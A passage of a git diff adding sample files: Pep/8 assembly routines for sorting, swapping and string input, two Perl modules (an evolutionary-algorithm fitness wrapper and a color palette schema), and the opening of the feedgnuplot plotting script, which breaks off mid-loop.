+parlpinc:	LDA	piter, s
+		ADDA	1, i
+		STA	piter, s
+		BR	partflp
+partout:	SUBSP	6, i ; Call swap(arr, piv, st_index)
+		LDA	16, s
+		STA	0, s
+		LDA	12, s
+		STA	2, s
+		LDA	10, s
+		STA	4, s
+		CALL	swap
+		ADDSP	6, i
+		LDA	pstind, s
+		ADDSP	8, i
+		STA	8, s
+		RET0
+; Address of the array		
+paraddr:	.EQUATE 10
+; Left bound
+parrlb:		.EQUATE 12
+; Right bound
+parrrb:		.EQUATE 14
+; Pivot value
+partpiv:	.EQUATE 6
+; st_index
+pstind:		.EQUATE 4
+; For iterator value
+piter:		.EQUATE 2
+; arr[i] value 
+parrival:	.EQUATE 0
+
+; Swaps the value of two elements of an array of integers
+;
+; Parameters:
+;	- SP + 2: Address of the array
+;	- SP + 4: Index of the 1st element to swap
+;	- SP + 6: Index of the 2nd element to swap
+;
+; Returns:
+;	void
+swap:		SUBSP	2, i
+		LDX	fstelind, s
+		ASLX
+		LDA	arraddr, sxf
+		STA	swaptmp, s
+		LDX	secelind, s
+		ASLX
+		LDA	arraddr, sxf
+		LDX	fstelind, s
+		ASLX
+		STA	arraddr, sxf
+		LDA	swaptmp, s
+		LDX	secelind, s
+		ASLX
+		STA	arraddr, sxf
+		ADDSP	2, i
+		RET0
+; Temporary value for the swap
+swaptmp:	.EQUATE 0
+; Address of the array on which the swap is done
+arraddr:	.EQUATE 4
+; Index of the first element
+fstelind:	.EQUATE 6
+; Index of the second element
+secelind:	.EQUATE 8
+
+; Prints the content of an array
+;
+; Parameters:
+;	SP + 2: Address of the array
+;	SP + 4: Length of the array
+;
+; Returns:
+;	void
+printarr:	LDX	0, i
+parrlp:		CPX	4, s
+		BRGE	parrout
+		DECO	2, sxf
+		CHARO	' ', i
+		ADDX	2, i
+		BR	parrlp
+parrout:	RET0
+
+; Unsorted array for testing purposes
+arr:	.WORD 9
+	.WORD 5
+	.WORD 8
+	.WORD 10
+	.WORD 4
+	.WORD 7
+	.WORD 0
+	.WORD 3
+	.WORD 2
+	.WORD 1
+	.WORD 6
+
+	.END
diff --git a/samples/Pep8/stri_buf.pep b/samples/Pep8/stri_buf.pep
new file mode 100644
index 0000000000..dcfa1269d3
--- /dev/null
+++ b/samples/Pep8/stri_buf.pep
@@ -0,0 +1,61 @@
+main:
+
+; Reads a string in stdin, returns the buffer it was read in
+; Stops reading at the first encounter of a \n character.
+;
+; Parameters:
+;	void
+;
+; Returns:
+;	- X: Address of the buffer
+stri:		SUBSP	2, i
+		LDA	32, i
+		CALL	new
+		CPX	buflen, s
+		BRGE	strinlrg
+strinlrg:	LDA	buflen, d
+		LDX	2, i
+		CALL	mult
+		STA	buflen
+		CALL	new
+		
+buflen:		.EQUATE 0
+
+; Copies the content of a buffer to another one
+;
+; Parameters:
+;	- SP + 2: Destination buffer
+;	- SP + 4: Source buffer
+;	- SP + 6: Length to copy
+memcpy:		LDX	0, i
+memcplp:	CPX	cpylen, s
+		BREQ	memcpout
+		LDBYTEA	srcbuf, sxf
+		STBYTEA	dstbuf, sxf
+		ADDX	1, i
+		BR	memcplp
+memcpout:	RET0
+; Destination buffer
+dtsbuf:		.EQUATE 2
+; Source buffer
+srcbuf:		.EQUATE 4
+; Copy length
+cpylen:		.EQUATE 6
+
+; Allocates a new structure in the heap
+;
+; Parameters:
+;	- A: Length of the structure to allocate (bytes)
+;
+; Returns:
+;	- X: Address of the allocated structure
+new:		ADDA	hpptr, d
+		LDX	hpptr, d
+		STA	hpptr, d
+		RET0
+
+; Pointer to the next available byte on the heap
+hpptr:		.ADDRSS heap
+; Start of the heap
+heap:		.BLOCK 1
+	.END
diff --git a/samples/Pep8/stristack.pep b/samples/Pep8/stristack.pep
new file mode 100644
index 0000000000..93962c8cf0
--- /dev/null
+++ b/samples/Pep8/stristack.pep
@@ -0,0 +1,50 @@
+main:		SUBSP	34, i
+		LDA	31, i
+		STA	0, s
+		CALL	fgets
+		ADDSP	2, i
+		CALL	ststro
+		STOP
+
+; Reads a string from stdin, stops reading when one of the following is true:
+;	- Read a \n
+;	- Read a maximum of `max` chars
+;
+; Parameters:
+;	- SP + 2: `max`, the maximum number of chars to read
+;	- SP + 4: `buffer` of length `max` + 1
+; Returns:
+;	void
+fgets:		LDX	0, i
+		LDA	0, i
+fgetslp:	CHARI	buffer, sx
+		LDBYTEA	buffer, sx
+		CPA	'\n', i
+		BREQ	fout
+		CPX	max, s
+		BREQ	fout
+		ADDX	1, i
+		BR	fgetslp
+fout:		LDA	'\x00', i
+		STBYTEA	buffer, sx
+		RET0
+max:	.EQUATE 2
+buffer: .EQUATE 4
+
+; Prints a string stored in stack
+;
+; Parameters:
+;	SP + 2: `string`
+; Returns:
+;	void
+ststro:		LDX	0, i
+		LDA	0, i
+strolp:		LDBYTEA	string, sx
+		CPA	'\x00', i
+		BREQ	strout
+		CHARO	string, sx
+		ADDX	1, i
+		BR	strolp
+strout:		RET0
+string: .EQUATE 2
+	.END
diff --git a/samples/Perl/Any.pm b/samples/Perl/Any.pm
new file mode 100644
index 0000000000..6c53e12c60
--- /dev/null
+++ b/samples/Perl/Any.pm
@@ -0,0 +1,100 @@
+use strict; #-*-cperl-*-
+use warnings;
+
+use lib qw( ../../../../lib );
+
+=encoding utf8
+
+=head1 NAME
+
+Algorithm::Evolutionary::Fitness::Any - Façade for any function so that it can be used as fitness
+
+=head1 SYNOPSIS
+
+   use Algorithm::Evolutionary::Utils qw( string_decode )
+
+   sub squares {
+     my $chrom = shift;
+     my @values = string_decode( $chrom, 10, -1, 1 );
+     return $values[0] * $values[1];
+   }
+
+   my $any_eval = new Algorithm::Evolutionary::Fitness::Any \&squares;
+
+
+=head1 DESCRIPTION
+
+Turns any subroutine or closure into a fitness function. Useful mainly
+if you want results cached; it's not really needed otherwise.
+
+=head1 METHODS
+
+=cut
+
+package Algorithm::Evolutionary::Fitness::Any;
+
+use Carp;
+
+use base 'Algorithm::Evolutionary::Fitness::Base';
+
+our $VERSION =  '3.2';
+
+=head2 new( $function )
+
+Assigns default variables
+
+=cut 
+
+sub new {
+  my $class = shift;
+  my $self = { _function => shift || croak "No functiona rray" };
+  bless $self, $class;
+  $self->initialize();
+  return $self;
+}
+
+=head2 apply( $individual )
+
+Applies the instantiated problem to a chromosome. It is actually a
+wrapper around C<_apply>.
+
+=cut
+
+sub apply {
+    my $self = shift;
+    my $individual = shift || croak "Nobody here!!!";
+    $self->{'_counter'}++;
+    return $self->_apply( $individual );
+}
+
+=head2 _apply( $individual )
+
+This is the one that really does the stuff. It applies the defined
+function to each individual. Itis cached for efficiency.
+
+=cut
+
+sub _apply {
+  my $self = shift;
+  my $individual = shift || croak "Nobody here!";
+  my $chrom = $individual->Chrom();
+  my $cache = $self->{'_cache'};
+  if ( $cache->{$chrom} ) {
+    return $cache->{$chrom};
+  }
+  my $result = $self->{'_function'}->($chrom);
+  if ( (scalar $chrom ) eq $chrom ) {
+    $cache->{$chrom} = $result;
+  }
+  return $result;
+}
+
+
+=head1 Copyright
+  
+  This file is released under the GPL. See the LICENSE file included in this distribution,
+  or go to http://www.fsf.org/licenses/gpl.txt
+
+=cut
+
+"What???";
diff --git a/samples/Perl/Schema.pm b/samples/Perl/Schema.pm
new file mode 100644
index 0000000000..0408e37c93
--- /dev/null
+++ b/samples/Perl/Schema.pm
@@ -0,0 +1,102 @@
+package Color::Palette::Schema 0.100004;
+use Moose;
+# ABSTRACT: requirements for a palette
+
+use Color::Palette;
+use Color::Palette::Types qw(ColorName);
+use MooseX::Types::Moose qw(ArrayRef);
+
+#pod =head1 DESCRIPTION
+#pod
+#pod Most of this is documented in L<Color::Palette>.  Below is just a bit more
+#pod documentation.
+#pod
+#pod =attr required_colors
+#pod
+#pod This is an arrayref of color names that must be present in any palette checked
+#pod against this schema.
+#pod
+#pod =cut
+
+has required_colors => (
+  is  => 'ro',
+  isa => ArrayRef[ ColorName ],
+  required => 1,
+);
+
+#pod =method check
+#pod
+#pod   $schema->check($palette);
+#pod
+#pod This method will throw an exception if the given palette doesn't meet the
+#pod requirements of the schema.
+#pod
+#pod =cut
+
+sub check {
+  my ($self, $palette) = @_;
+
+  # ->color will throw an exception on unknown colors, doing our job for us.
+  # -- rjbs, 2009-05-19
+  $palette->color($_) for @{ $self->required_colors };
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Color::Palette::Schema - requirements for a palette
+
+=head1 VERSION
+
+version 0.100004
+
+=head1 DESCRIPTION
+
+Most of this is documented in L<Color::Palette>.  Below is just a bit more
+documentation.
+
+=head1 PERL VERSION
+
+This library should run on perls released even a long time ago.  It should work
+on any version of perl released in the last five years.
+
+Although it may work on older versions of perl, no guarantee is made that the
+minimum required version will not be increased.  The version may be increased
+for any reason, and there is no promise that patches will be accepted to lower
+the minimum required perl.
+
+=head1 ATTRIBUTES
+
+=head2 required_colors
+
+This is an arrayref of color names that must be present in any palette checked
+against this schema.
+
+=head1 METHODS
+
+=head2 check
+
+  $schema->check($palette);
+
+This method will throw an exception if the given palette doesn't meet the
+requirements of the schema.
+
+=head1 AUTHOR
+
+Ricardo SIGNES <cpan@semiotic.systems>
+
+=head1 COPYRIGHT AND LICENSE
+
+This software is copyright (c) 2022 by Ricardo SIGNES.
+
+This is free software; you can redistribute it and/or modify it under
+the same terms as the Perl 5 programming language system itself.
+
+=cut
diff --git a/samples/Perl/feedgnuplot b/samples/Perl/feedgnuplot
new file mode 100644
index 0000000000..7eda297e5d
--- /dev/null
+++ b/samples/Perl/feedgnuplot
@@ -0,0 +1,2074 @@
+#!/usr/bin/perl
+
+package feedgnuplot; # for the metacpan indexer
+
+use strict;
+use warnings;
+use Getopt::Long;
+use Time::HiRes qw( usleep gettimeofday tv_interval );
+use IO::Handle;
+use IO::Select;
+use List::Util qw( first );
+use List::MoreUtils 'any';
+use Scalar::Util qw( looks_like_number );
+use Text::ParseWords; # for shellwords
+use Pod::Usage;
+use Time::Piece;
+
+my $VERSION = 1.44;
+
+my %options;
+interpretCommandline();
+
+# list containing the plot data. Each element is a hashref of parameters.
+# $curve->{datastring} is a string of all the data in this curve that can be
+# sent directly to gnuplot. $curve->{datastring_meta} is a hashref {domain =>
+# ..., offset_start => ...}. offset_start represents a position in the
+# datastring where this particular data element begins. As the data is culled
+# with --xlen, the offsets are preserved by using $curve->{datastring_offset} to
+# represent the offset IN THE ORIGINAL STRING of the current start of the
+# datastring
+my @curves = ();
+
+# list mapping curve names to their indices in the @curves list
+my %curveIndices = ();
+
+# Whether any new data has arrived since the last replot
+my $haveNewData;
+
+# when the last replot happened
+my $last_replot_time = [gettimeofday];
+
+# whether the previous replot was timer based
+my $last_replot_is_from_timer = 1;
+my $this_replot_is_from_timer;
+
+
+
+
+
+
+
+
+sub getRangeSize
+{
+    my ($id) = @_;
+
+    # I'd like to use //, but I guess some people are still on perl 5.8
+    return
+      exists $options{rangesize_hash}{$id} ?
+      $options{rangesize_hash}{$id} :
+      $options{rangesize_default};
+}
+
+sub interpretCommandline
+{
+  # if I'm using a self-plotting data file with a #! line, then $ARGV[0] will contain ALL of the
+  # options and $ARGV[1] will contain the data file to plot. In this case I need to split $ARGV[0] so
+  # that GetOptions() can parse it correctly. On the other hand, if I'm plotting normally (not with
+  # #!)  a file with spaces in the filename, I don't want to split the filename. Hopefully this logic
+  # takes care of both those cases.
+  if (exists $ARGV[0] && !-r $ARGV[0])
+  {
+    unshift @ARGV, shellwords shift @ARGV;
+  }
+
+  # everything off by default:
+  # do not stream in the data by default
+  # point plotting by default.
+  # no monotonicity checks by default
+  # normal histograms by default
+  $options{ maxcurves } = 100;
+  $options{ histstyle}  = 'freq';
+
+  # Previously I was using 'legend=s%' and 'curvestyle=s%' for curve addressing. This had cleaner
+  # syntax, but disregarded the order of the given options. This resulted in arbitrarily ordered
+  # curves. I thus make parse these into lists, and then also make hashes, for later use
+
+  # needed for these to be parsed into an array-ref, these default to []
+  $options{legend}     = [];
+  $options{curvestyle} = [];
+  $options{style}      = [];
+  $options{histogram}  = [];
+  $options{y2}         = [];
+  $options{extracmds}  = [];
+  $options{set}        = [];
+  $options{unset}      = [];
+  $options{equation}   = [];
+
+  $options{curvestyleall} = '';
+  $options{styleall}      = '';
+  $options{with}          = '';
+
+  $options{rangesize} = [];
+
+  GetOptions(\%options, 'stream:s', 'domain!', 'dataid!', '3d!', 'colormap!', 'lines!', 'points!',
+             'circles', 'legend=s{2}', 'autolegend!', 'xlabel=s', 'ylabel=s', 'y2label=s', 'zlabel=s',
+             'title=s', 'xlen=f', 'ymin=f', 'ymax=f', 'xmin=s', 'xmax=s', 'y2min=f', 'y2max=f',
+             'zmin=f', 'zmax=f', 'y2=s@',
+             'style=s{2}', 'curvestyle=s{2}', 'curvestyleall=s', 'styleall=s', 'with=s', 'extracmds=s@', 'set=s@', 'unset=s@',
+             'square!', 'square_xy!', 'hardcopy=s', 'maxcurves=i', 'monotonic!', 'timefmt=s',
+             'equation=s@',
+             'image=s',
+             'histogram=s@', 'binwidth=f', 'histstyle=s',
+             'terminal=s',
+             'rangesize=s{2}', 'rangesizeall=i', 'extraValuesPerPoint=i',
+             'help', 'dump', 'exit', 'version',
+             'geometry=s') or exit 1;
+
+  # handle various cmdline-option errors
+  if ( $options{help} )
+  {
+    pod2usage( -exitval => 0,
+               -verbose => 1, # synopsis and args
+               -output  => \*STDOUT );
+  }
+
+  if( $options{version} )
+  {
+    print "feedgnuplot version $VERSION\n";
+    exit 0;
+  }
+
+  # --style and --curvestyle are synonyms, as are --styleall and
+  # --curvestyleall, so fill that in
+  if( $options{styleall} )
+  {
+    if($options{curvestyleall} ) { $options{curvestyleall} .= " $options{styleall}"; }
+    else                         { $options{curvestyleall}  =   $options{styleall};  }
+    delete $options{styleall};
+  }
+
+  push @{$options{curvestyle}}, @{$options{style}};
+  delete $options{style};
+
+  if( $options{curvestyleall} && $options{with} )
+  {
+    print STDERR "--curvestyleall and --with are mutually exclusive. Please just use one.\n";
+    exit -1;
+  }
+  if( $options{with} )
+  {
+    $options{curvestyleall} = "with $options{with}";
+    delete $options{with};
+  }
+
+
+  # expand options that are given as comma-separated lists
+  for my $listkey (qw(histogram y2))
+  {
+    @{$options{$listkey}} = map split('\s*,\s*', $_), @{$options{$listkey}}
+      if defined $options{$listkey};
+  }
+  for my $listkey (qw(curvestyle rangesize))
+  {
+      next unless defined $options{$listkey};
+      my @in = @{$options{$listkey}};
+      my $N = @in / 2;
+      my @out;
+      for my $i (0..$N-1)
+      {
+          my $key   = $in[2*$i];
+          my $value = $in[2*$i + 1];
+          for my $key_new (split('\s*,\s*', $key))
+          {
+              push @out, $key_new, $value;
+          }
+      }
+
+      @{$options{$listkey}} = @out;
+  }
+
+
+  # If we're plotting histograms, then set the default histogram options for
+  # each histogram curve
+  #
+  # Apply this to plain (non-cumulative) histograms
+  if( !$options{curvestyleall} && $options{histstyle} =~ /freq|fnorm/ )
+  {
+      for my $hist_curve(@{$options{histogram}})
+      {
+          # If we don't specify any options specifically for this histogram, use
+          # the defaults: filled boxes with borders
+          if( !any { $options{curvestyle}[$_*2] eq $hist_curve } 0..(@{$options{curvestyle}}/2 - 1) )
+          {
+              push @{$options{curvestyle}}, ($hist_curve, 'with boxes fill solid border lt -1');
+          }
+      }
+  }
+
+  # --legend and --curvestyle options are conceptually hashes, but are parsed as
+  # arrays in order to preserve the ordering. I parse both of these into hashes
+  # because those are useful to have later. After this I can access individual
+  # legends with $options{legend_hash}{curveid}
+  for my $listkey (qw(legend curvestyle rangesize))
+  {
+    $options{"${listkey}_hash"} = {};
+
+    my $n = scalar @{$options{$listkey}}/2;
+    foreach my $idx (0..$n-1)
+    {
+      $options{"${listkey}_hash"}{$options{$listkey}[$idx*2]} = $options{$listkey}[$idx*2 + 1];
+    }
+  }
+
+  if ( defined $options{hardcopy} && defined $options{stream} )
+  {
+    print STDERR "--stream doesn't make sense together with --hardcopy\n";
+    exit -1;
+  }
+
+  if ( defined $options{rangesizeall} && defined $options{extraValuesPerPoint} )
+  {
+    print STDERR "Only one of --rangesizeall and --extraValuesPerPoint may be given\n";
+    exit -1;
+  }
+
+
+  # I now set up the rangesize to always be
+  #
+  #   $options{rangesize_hash}{$id} // $options{rangesize_default}
+  #
+  # which is available as getRangeSize($id)
+  if ( $options{rangesizeall} )
+  {
+      $options{rangesize_default} = $options{rangesizeall};
+  }
+  else
+  {
+      $options{rangesize_default} = 1;
+
+      $options{rangesize_default} += $options{extraValuesPerPoint} if ($options{extraValuesPerPoint});
+      $options{rangesize_default}++                                if ($options{colormap});
+      $options{rangesize_default}++                                if ($options{circles} );
+  }
+
+
+  # parse stream option. Allowed only numbers >= 0 or 'trigger'. After this code
+  # $options{stream} is
+  #  -1 for triggered replotting
+  #  >0 for timed replotting
+  #  undef if not streaming
+  #
+  #  Note that '0' is not allowed, so !$options{stream} will do the expected
+  #  thing
+  if(defined $options{stream})
+  {
+    # if no streaming period is given, default to 1Hz.
+    $options{stream} = 1 if $options{stream} eq '';
+
+    if( !looks_like_number $options{stream} )
+    {
+      if($options{stream} eq 'trigger')
+      {
+        $options{stream} = 0;
+      }
+      else
+      {
+        print STDERR "--stream can only take in values >=0 or 'trigger'\n";
+        exit -1;
+      }
+    }
+
+    if ( $options{stream} == 0 )
+    {
+      $options{stream} = -1;
+    }
+    elsif ( $options{stream} <= 0)
+    {
+      print STDERR "--stream can only take in values >=0 or 'trigger'\n";
+      exit -1;
+    }
+  }
+
+  if ($options{colormap})
+  {
+    # colormap styles all curves with palette. Seems like there should be a way to do this with a
+    # global setting, but I can't get that to work
+    $options{curvestyleall} .= ' palette';
+  }
+
+  if ( defined $options{binwidth} && !@{$options{histogram}} )
+  {
+    print STDERR "--binwidth doesn't make sense without any histograms\n";
+    exit -1;
+  }
+
+
+  if ( $options{'3d'} )
+  {
+    if ( !$options{domain} )
+    {
+      print STDERR "--3d only makes sense with --domain\n";
+      exit -1;
+    }
+
+    if ( $options{timefmt} )
+    {
+      print STDERR "--3d makes no sense with --timefmt\n";
+      exit -1;
+    }
+
+    if ( defined $options{y2min} || defined $options{y2max} || @{$options{y2}} )
+    {
+      print STDERR "--3d does not make sense with --y2...\n";
+      exit -1;
+    }
+
+    if ( defined $options{xlen} )
+    {
+      print STDERR "--3d does not make sense with --xlen\n";
+      exit -1;
+    }
+
+    if ( defined $options{monotonic} )
+    {
+      print STDERR "--3d does not make sense with --monotonic\n";
+      exit -1;
+    }
+
+    if ( @{$options{histogram}} )
+    {
+      print STDERR "--3d does not make sense with histograms\n";
+      exit -1;
+    }
+
+    if ( defined $options{circles} )
+    {
+      print STDERR "--3d does not make sense with circles (gnuplot doesn't support this)\n";
+      exit -1;
+    }
+  }
+  else
+  {
+    if ( $options{timefmt} && !$options{domain} )
+    {
+      print STDERR "--timefmt makes sense only with --domain\n";
+      exit -1;
+    }
+
+    if(!$options{colormap})
+    {
+      if ( defined $options{zmin} || defined $options{zmax} || defined $options{zlabel} )
+      {
+        print STDERR "--zmin/zmax/zlabel only makes sense with --3d or --colormap\n";
+        exit -1;
+      }
+    }
+
+    if ( defined $options{square_xy} )
+    {
+      print STDERR "--square_xy only makes sense with --3d\n";
+      exit -1;
+    }
+
+    for my $hist_curve(@{$options{histogram}})
+    {
+        my $hist_dim = getRangeSize($hist_curve);
+        if( $hist_dim != 1 )
+        {
+            print STDERR "I only support 1D histograms, but curve '$hist_curve' has '$hist_dim'-D data\n";
+            exit -1;
+        }
+    }
+  }
+
+  if(defined $options{xlen} && !$options{stream} )
+  {
+    print STDERR "--xlen does not make sense without --stream\n";
+    exit -1;
+  }
+
+  if($options{stream} && defined $options{xlen} &&
+     ( defined $options{xmin} || defined $options{xmax}) &&
+    !defined $options{histogram})
+  {
+    print STDERR "With --stream and --xlen the X bounds are set, so neither --xmin nor --xmax make sense\n";
+    exit -1;
+  }
+
+  # --xlen implies an order to the data, so I force monotonicity
+  $options{monotonic} = 1 if defined $options{xlen};
+
+  if( $options{histstyle} !~ /freq|cum|uniq|cnorm|fnorm/ )
+  {
+    print STDERR "unknown histstyle. Allowed are 'freq...', 'fnorm...', 'cum...', 'uniq...', 'cnorm...'\n";
+    exit -1;
+  }
+
+  # deal with timefmt
+  if ( $options{timefmt} )
+  {
+    # I need to compute a regex to match the time field and I need to count how
+    # many whilespace-separated fields there are.
+
+    # strip leading and trailing whitespace
+    $options{timefmt} =~ s/^\s*//;
+    $options{timefmt} =~ s/\s*$//;
+
+    my $Nfields = () = split /\s+/, $options{timefmt}, -1;
+    $options{timefmt_Ncols} = $Nfields;
+
+    # make sure --xlen is an integer. With a timefmt xlen goes through strptime
+    # and strftime, and those are integer-only
+    if( defined $options{xlen} )
+    {
+      if( $options{xlen} - int($options{xlen}) )
+      {
+        print STDERR "When streaming --xlen MUST be an integer. Rounding up to the nearest second\n";
+        $options{xlen} = 1 + int($options{xlen});
+      }
+    }
+  }
+
+  # deal with --image. I just fill in --equation, and reverse the y extents if
+  # none are explicitly given
+  if( defined $options{image} )
+  {
+      # images generally have the origin at the top-left instead of the
+      # bottom-left, so given nothing else, I flip the y axis
+      if( !defined $options{ymin} && !defined $options{ymax} &&
+          ! any { /^ *yrange\b/ } @{$options{set}} )
+      {
+          push @{$options{set}}, "yrange [:] reverse";
+      }
+
+      if ( ! -r $options{image} )
+      {
+          die "Couldn't read image '$options{image}'";
+      }
+
+      unshift @{$options{equation}}, qq{"$options{image}" binary filetype=auto flipy with rgbimage};
+      delete $options{image};
+  }
+}
+
+sub getGnuplotVersion
+{
+  open(GNUPLOT_VERSION, 'gnuplot --version |') or die "Couldn't run gnuplot";
+  my ($gnuplotVersion) = <GNUPLOT_VERSION> =~ /gnuplot\s*(\d*\.\d*)/;
+  if (!$gnuplotVersion)
+  {
+    print STDERR "Couldn't find the version of gnuplot. Does it work? Trying anyway...\n";
+    $gnuplotVersion = 0;
+  }
+  close(GNUPLOT_VERSION);
+
+  return $gnuplotVersion;
+}
+
+sub sendRangeCommand
+{
+  my ($name, $min, $max) = @_;
+
+  return unless defined $min || defined $max;
+
+  if( defined $min )
+  { $min = "\"$min\""; }
+  else
+  { $min = ''; }
+
+  if( defined $max )
+  { $max = "\"$max\""; }
+  else
+  { $max = ''; }
+
+  my $cmd = "set $name [$min:$max]\n";
+  print PIPE $cmd;
+}
+
+sub makeDomainNumeric
+{
+  my ($domain0) = @_;
+
+  if ( $options{timefmt} )
+  {
+    my $timepiece = Time::Piece->strptime( $domain0, $options{timefmt} )
+      or die "Couldn't parse time format. String '$domain0' doesn't fit format '$options{timefmt}'";
+
+    return $timepiece->epoch();
+  }
+
+  return $domain0;
+}
+
+
+my $prev_timed_replot_time = [gettimeofday];
+my $pipe_in;
+my $selector;
+my $line_number = 0;
+my $is_stdin = !@ARGV; # read stdin only if no data files given on the cmdline
+sub openNextFile
+{
+    my $fd;
+    if($is_stdin)
+    {
+        $fd = IO::Handle->new();
+        $fd->fdopen(fileno(STDIN), "r") or die "Couldn't open STDIN";
+    }
+    else
+    {
+        my $filename = shift @ARGV;
+        $fd = IO::File->new($filename, "r") or die "Couldn't open file '$filename'";
+    }
+
+    my $selector = IO::Select->new( $fd );
+    return ($fd, $selector);
+}
+sub getNextLine
+{
+    sub getline_internal
+    {
+        while(1)
+        {
+            my $line = $pipe_in->getline();
+            if( !$is_stdin && !defined $line && $pipe_in->eof() && @ARGV)
+            {
+                # I got to the end of one file, so open the next one (which I'm
+                # sure exists)
+                ($pipe_in, $selector) = openNextFile();
+                next;
+            }
+            return $line;
+        }
+    }
+
+
+
+
+
+    if( !defined $pipe_in )
+    {
+        ($pipe_in, $selector) = openNextFile();
+    }
+
+    while(1)
+    {
+        $this_replot_is_from_timer = undef;
+
+        # if we're not streaming, or we're doing triggered-only replotting, simply
+        # do a blocking read
+        if (! $options{stream} || $options{stream} < 0)
+        {
+            $line_number++;
+            return getline_internal();
+        }
+
+
+        my $now = [gettimeofday];
+        my $time_remaining = $options{stream} - tv_interval($prev_timed_replot_time, $now);
+
+        if ( $time_remaining < 0 )
+        {
+            $prev_timed_replot_time = $now;
+            $this_replot_is_from_timer = 1;
+            return 'replot';
+        }
+
+        if ($selector->can_read($time_remaining))
+        {
+            $line_number++;
+            return getline_internal();
+        }
+    }
+}
+
+sub mainThread
+{
+    local *PIPE;
+    my $dopersist = '';
+
+    if( getGnuplotVersion() >= 4.3 && # --persist not available before this
+
+        # --persist is needed for the "half-alive" state (see documentation for
+        # --exit). This state is only used with these options:
+        !$options{stream} && $options{exit})
+    {
+      $dopersist = '--persist';
+    }
+
+    # We trap SIGINT to kill the data input, but keep the plot up. see
+    # documentation for --exit
+    if ($options{stream} && !$options{exit})
+    {
+        $SIG{INT} = sub
+        {
+            print STDERR "$0 received SIGINT. Send again to quit\n";
+            $SIG{INT} = undef;
+        };
+    }
+
+
+
+
+    if(exists $options{dump})
+    {
+      *PIPE = *STDOUT;
+    }
+    else
+    {
+      my $geometry = defined $options{geometry} ?
+        "-geometry $options{geometry}" : '';
+      open PIPE, "|gnuplot $geometry $dopersist" or die "Can't initialize gnuplot\n";
+    }
+    autoflush PIPE 1;
+
+    my $outputfile;
+    my $outputfileType;
+    if( defined $options{hardcopy})
+    {
+      $outputfile = $options{hardcopy};
+      if( $outputfile =~ /^[^|]                       # starts with anything other than |
+                          .*                          # stuff in the middle
+                          \.(eps|ps|pdf|png|svg)$/ix) # ends with a known extension
+      {
+        $outputfileType = lc $1;
+      }
+
+      my %terminalOpts =
+      ( eps  => 'postscript noenhanced solid color enhanced eps',
+        ps   => 'postscript noenhanced solid color landscape 12',
+        pdf  => 'pdfcairo noenhanced solid color font ",12" size 11in,8.5in',
+        png  => 'png noenhanced size 1280,1024',
+        svg  => 'svg noenhanced');
+
+      if( !defined $options{terminal} &&
+           defined $outputfileType    &&
+           $terminalOpts{$outputfileType} )
+      {
+        $options{terminal} = $terminalOpts{$outputfileType};
+      }
+
+      die "Asked to plot to file '$outputfile', but I don't know which terminal to use, and no --terminal given"
+        unless $options{terminal};
+    }
+    print PIPE "set terminal $options{terminal}\n" if $options{terminal};
+    print PIPE "set output \"$outputfile\"\n"      if $outputfile;
+
+    # set up plotting style
+    my $style = '';
+    if($options{lines})  { $style .= 'lines';}
+    if($options{points}) { $style .= 'points';}
+    if($options{circles})
+    {
+      $options{curvestyleall} = "with circles $options{curvestyleall}";
+    }
+
+    print PIPE "set style data $style\n" if $style;
+    print PIPE "set grid\n";
+
+    print(PIPE "set xlabel  \"$options{xlabel }\"\n") if defined $options{xlabel};
+    print(PIPE "set ylabel  \"$options{ylabel }\"\n") if defined $options{ylabel};
+    print(PIPE "set zlabel  \"$options{zlabel }\"\n") if defined $options{zlabel};
+    print(PIPE "set y2label \"$options{y2label}\"\n") if defined $options{y2label};
+    print(PIPE "set title   \"$options{title  }\"\n") if defined $options{title};
+
+    if($options{square})
+    {
+      # set a square aspect ratio. Gnuplot does this differently for 2D and 3D plots
+      if(! $options{'3d'})
+      {
+        print(PIPE "set size ratio -1\n");
+      }
+      else
+      {
+        print(PIPE "set view equal xyz\n");
+      }
+    }
+
+    if($options{square_xy})
+    {
+      print(PIPE "set view equal xy\n");
+    }
+
+    # For the specified values, set the legend entries to 'title "blah blah"'
+    if(@{$options{legend}})
+    {
+      # @{$options{legend}} is a list where consecutive pairs are (curveID,
+      # legend). I use $options{legend} here instead of $options{legend_hash}
+      # because I create a new curve when I see a new one, and the hash is
+      # unordered, thus messing up the ordering
+      my $n = scalar @{$options{legend}}/2;
+      foreach my $idx (0..$n-1)
+      {
+        setCurveLabel($options{legend}[$idx*2    ],
+                      $options{legend}[$idx*2 + 1]);
+      }
+    }
+
+    # add the extra curve options
+    if(@{$options{curvestyle}})
+    {
+      # @{$options{curvestyle}} is a list where consecutive pairs are (curveID,
+      # style).
+      my $n = scalar @{$options{curvestyle}}/2;
+      foreach my $idx (0..$n-1)
+      {
+        addCurveOption($options{curvestyle}[$idx*2    ],
+                       $options{curvestyle}[$idx*2 + 1]);
+      }
+    }
+
+    # For the values requested to be printed on the y2 axis, set that
+    addCurveOption($_, 'axes x1y2') foreach (@{$options{y2}});
+
+    # timefmt
+    if( $options{timefmt} )
+    {
+      print(PIPE "set timefmt '$options{timefmt}'\n");
+      print(PIPE "set xdata time\n");
+    }
+
+    # add the extra global options
+    print(PIPE "$_\n")       foreach (@{$options{extracmds}});
+    print(PIPE "set $_\n")   foreach (@{$options{set}});
+    print(PIPE "unset $_\n") foreach (@{$options{unset}});
+
+    # set up histograms
+    $options{binwidth} ||= 1;   # if no binwidth given, set it to 1
+    print PIPE
+      "set boxwidth $options{binwidth}\n" .
+      "histbin(x) = $options{binwidth} * floor(0.5 + x/$options{binwidth})\n";
+
+    setCurveAsHistogram( $_ ) foreach (@{$options{histogram}});
+
+    if(@{$options{y2}})
+    {
+      print PIPE "set ytics nomirror\n";
+      print PIPE "set y2tics\n";
+      # if any of the ranges are given, set the range
+      sendRangeCommand( "y2range", $options{y2min}, $options{y2max} );
+    }
+
+    # if any of the ranges are given, set the range
+    sendRangeCommand( "xrange",  $options{xmin}, $options{xmax} );
+    sendRangeCommand( "yrange",  $options{ymin}, $options{ymax} );
+    sendRangeCommand( "zrange",  $options{zmin}, $options{zmax} );
+    sendRangeCommand( "cbrange", $options{zmin}, $options{zmax} ) if($options{colormap});
+
+
+
+
+    # latest domain variable present in our data
+    my $latestX;
+
+    # The domain of the current point
+    my @domain;
+
+    # The x-axis domain represented as a number. This is exactly the same as
+    # $domain[0] unless the x-axis domain uses a timefmt. Then this is the
+    # number of seconds since the UNIX epoch.
+    my $domain0_numeric;
+
+    while( defined ($_ = getNextLine()) )
+    {
+      next if /^#/o;
+
+      if( $options{stream} )
